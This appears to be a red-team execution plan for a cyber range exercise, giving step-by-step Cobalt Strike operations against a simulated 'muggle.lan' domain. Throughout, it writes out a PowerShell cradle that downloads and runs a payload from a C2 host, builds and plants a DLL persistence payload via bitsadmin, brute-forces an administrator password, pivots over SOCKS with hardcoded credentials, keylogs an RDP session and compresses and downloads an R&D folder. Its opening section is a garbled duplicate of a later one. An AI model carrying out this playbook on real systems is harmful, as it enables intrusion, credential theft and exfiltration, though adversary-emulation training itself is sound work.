Lateral Movement - Mystery	➢ Left-click muggle-4 beacon ➢ Right-click Interact socks 9050 **Bash:** **IMPORTANT:** Replace the username and password with the appropriate credentials: **RCS03 - v1:** `ruthie.rollins : P@ssw0rdP@ssw0rd` **RCS06 - v2:** `rachael.mullins : S3+a#s#3K#j#` proxychains xfreerdp /cert:ignore /v:MYSTERY-31 /u:<username> /p:<password> /timeoue:60000 **On Remote Host:** • Task Manager Run: powershell -win h -c "iex (iwr -useb http://macfeelabs.com/favicon.ico)" • Wait for beacon check-in • Disconnect from RDP • Left-click muggle-4 beacon • Right-click>Interact socks stop exit

Collection / Exfiltration	➢ Left-click mystery-31 beacon
	➢ Right-click>Interact
	
	Console:
	
	sleep 60 20
	shell whoami /all
	shell ipconfig /all
	shell netstat -ant
	shell netstat -r
	shell net use
	
	• Right-Click > Explore > File Browser
	• List Drives
	• Click around to explore the S: drive for a while, simulating searching for files of interest
	• It will update the files each callback
	
	`run "C:\Program Files\7-Zip\7z.exe" -r a C:\Users\Public\backup.zip "S:\Drone_R&D"`
	`download C:\Users\Public\backup.zip`
	`sleep 600 20`

NOTICE
As stated before, with the exception of jake.potts, usernames are listed for ease of reference but these usernames may vary depending on the range and future updates.

Table 11: Manual Execution Plan

MANUAL EXECUTION PLAN			
Setup Team Server	**RCS03 – v1:** cd ~/Desktop/cobaltstrike sudo ./teamserver 210.210.210.5 password ~/Desktop/jquery-c2.3.11.profile **RCS06 – v2:** cd ~/Desktop/cobaltstrike sudo ./teamserver 202.84.73.5 password ~/Desktop/jquery-c2.3.11.profile		
	Connect to Aggressor console in a new terminal	cd ~/Desktop/cobaltstrike ./cobaltstrike &	
	Login:	***Host:***	127.0.0.1
		Port:	50050
		User:	opfor
		Password:	password
	Load Scenario Automation:	• Cobalt Strike>Script Manager • Load> ~Desktop/mds1.cna	
Setup Listener	• Cobalt Strike > Listeners • Add • Name: HTTP_MDS1 • Payload: Beacon HTTP • HTTP Hosts: macfeelabs.com • HTTP Host (Stager): macfeelabs.com • Profile: default • HTTP Port(C2): 80 • Remaining: Blank		
Create Payloads	**IMPORTANT:** Payloads should all be created in advance as there is likely not enough time during execution.		
	Cobalt Strike User Payload	• `Attacks` > `Packages` > `Windows Executable (S)` • Listener: `HTTP_MDS1` • Output: `Powershell` • x64: `Checked` • Generate • Save to: `~/Desktop/initial.ps1`	

		• Attacks > Web Drive-By > Host File • File: /home/user/Desktop/initial.ps1 • Local URI: /favicon.ico • Local Host: macfeelabs.com • Local Port: 80 • Mime Type: text/plain • Launch
Custom System Persistence Payload		• Attacks > Packages > Payload Generator • Listener: HTTP_MDS1 • Output: C • x64: Checked • Save to: ~/Desktop/persistence/payload.c • Open ~/Desktop/persistence/storesyncsvc.cpp • Copy contents of payload.c onto line 46 (between the two identifying comments) cd ~/Desktop/persistence/ x86_64-w64-mingw32-gcc -shared -municode -o storesyncsvc.dll storesyncsvc.cpp • Attacks > Web Drive-By > Host File • File: /home/user/Desktop/persistence/storesyncsvc.dll • Local URI: /test/storesyncsvc.dll • Local Host: macfeelabs.com • Local Port: 80 • Mime Type: automatic • Launch • Attacks > Web Drive-By > Host File • File: /home/user/Desktop/persistence/install.bat • Local URI: /test/install.bat • Local Host: macfeelabs.com • Local Port: 80 • Mime Type: automatic • Launch
Initial Access - Dev		**Bash:** **RCS03 - v1:** xfreerdp /cert:ignore /v:131.9.3.17 /u:jake.potts /p:1qaz2wsx!QAZ@WSX /d:muggle.lan **RCS06 - v2:**

	`xfreerdp /cert:ignore /v:104.53.222.5 /u:jake.potts /p:1qaz2wsx!QAZ@WSX /d:muggle.lan` Consider doing other innocuous activities before and after the payload execution. On Remote Host: • Task Manager > Run: `powershell -win h -c "iex (iwr -useb http://macfeelabs.com/favicon.ico)"` • Wait for beacon check-in • Disconnect from RDP

Discovery	➢ Left-click initial beacon
	➢ Right-click>Interact
	
	Console:
	
	`sleep 60 20`
	`shell whoami /all`
	`shell ipconfig /all`
	`shell netstat -ant`
	`shell netstat -r`
	`shell qwinsta`
	`shell nltest /domain_trusts`
	`powershell $entry = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name)"); $searcher = [System.DirectoryServices.DirectorySearcher]::new($entry); $searcher.Filter = ("(objectClass=computer)"); $searcher.FindAll().properties.name;`
	
	NOTE: Copy/Paste via the "send text to VM" can cause unexpected errors (randomly remove characters/randomly add spaces). Consider copying from VM-embedded docs, using automation, or verifying paste is correct.

Privilege Escalation	***Cobalt Strike:*** • `Cobalt Strike > Script Manager` • `Load > ~/Desktop/brutesim.cna` • Left-click initial beacon • Right-click > `BruteSim` • Listener: `HTTP_MDS1` • Username: `Administrator` • Password: `Simspace1!Simspace1!` • Domain: `MUGGLE-16` • Failed attempts: `40` • Delay (seconds): `0.5`

		• Execute A new elevated beacon should spawn.

Persistence	Download persistence files and close beacon:
	
	• Left-click NON-ELEVATED beacon
	• Right-click > `Interact`
	
	`shell cmd /c bitsadmin /transfer bbbb http://macfeelabs.com/test/install.bat C:\Users\Public\install.bat`
	`shell cmd /c bitsadmin /transfer bbbb http://macfeelabs.com/test/storesyncsvc.dll C:\Users\Public\storesyncsvc.dll`
	`exit`
	
	• Left-click elevated beacon
	• Right-click > `Interact`
	
	Console:
	
	`sleep 60 20`
	`shell cmd /c C:\Users\Public\install.bat`
	`shell cmd /c del C:\Users\Public\install.bat`
	`C:\Users\Public\storesyncsvc.dll`
	
	• Wait for beacon check-in
	• Left-click persistence SYSTEM beacon
	• Right-click > `Interact`
	
	`sleep 900 20`

Network Discovery	• Left-click elevated beacon (NOT persistence SYSTEM beacon)
	• Right-click > `Interact`
	
	`shell qwinsta /SERVER:MUGGLE-1`
	`shell qwinsta /SERVER:MUGGLE-2`
	`shell qwinsta /SERVER:MUGGLE-3`
	`shell qwinsta /SERVER:MUGGLE-4`

Lateral Movement - Muggle	• Left-click elevated beacon (NOT persistence SYSTEM beacon) • Right-click > `Interact` `socks 9050`

Bash:

```
proxychains xfreerdp /cert:ignore /v:MUGGLE-4
/u:Administrator /p:Simspace1!Simspace1! /timeout:30000
```

On Remote Host:

- Task Manager > Run (As Administrator): `powershell -win h -c "iex (iwr -useb http://macfeelabs.com/favicon.ico)"`
- Wait for beacon check-in
- Disconnect from RDP
- Left-click `muggle-16` elevated beacon (NOT persistence SYSTEM beacon)
- Right-click > `Interact`

```
socks stop
exit
```

Keylogger

- Left-click new `muggle-4` beacon
- Right-click > `Interact`

```
sleep 60 20
```

PCTE:

- Open `Muggle-4` Console > Open Remote Desktop UI (Do not connect)
- Leave Console open for later

Cobalt Strike:

- Left-click new `muggle-4` beacon
- Right-click > Explore > Process List
- Select `mstsc.exe` process > Log Keystrokes
- View > Keystrokes

PCTE:

- Connect to `mystery-31.mystery.com` as:
  - RCS03 - v1: `ruthie.rollins` : `P@ssw0rdP@ssw0rd`
  - RCS06 - v2: `rachael.mullins` : `S3+a#s#3K#j#`
- Close console WITHOUT logging out

Cobalt Strike:

- Verify keystrokes were captured

Lateral Movement - Mystery	➢ Left-click muggle-4 beacon
	➢ Right-click Interact
	
	`socks 9050`
	
	Bash:
	
	IMPORTANT: Replace the username and password with the appropriate credentials:
	RCS03 - v1: `ruthie.rollins : P@ssw0rdP@ssw0rd`
	RCS06 - v2: `rachael.mullins : S3+a#s#3K#j#`
	
	`proxychains xfreerdp /cert:ignore /v:MYSTERY-31 /u:<username> /p:<password> /timeout:60000`
	
	On Remote Host:
	
	• Task Manager > Run: `powershell -win h -c "iex (iwr -useb http://macfeelabs.com/favicon.ico)"`
	• Wait for beacon check-in
	• Disconnect from RDP
	• Left-click `muggle-4` beacon
	• Right-click > `Interact`
	
	`socks stop`
	`exit`

Collection / Exfiltration	➢ Left-click mystery-31 beacon
	➢ Right-click>Interact
	
	Console:
	
	`sleep 60 20`
	`shell whoami /all`
	`shell ipconfig /all`
	`shell netstat -ant`
	`shell netstat -r`
	`shell net use`
	
	• Right-Click > Explore > File Browser
	• List Drives
	• Click around to explore the `S:` drive for a while, simulating searching for files of interest
	• It will update the files each callback
	
	`run "C:\Program Files\7-Zip\7z.exe" -r a C:\Users\Public\backup.zip "S:\Drone_R&D"`
	`download C:\Users\Public\backup.zip`
	`sleep 600 20`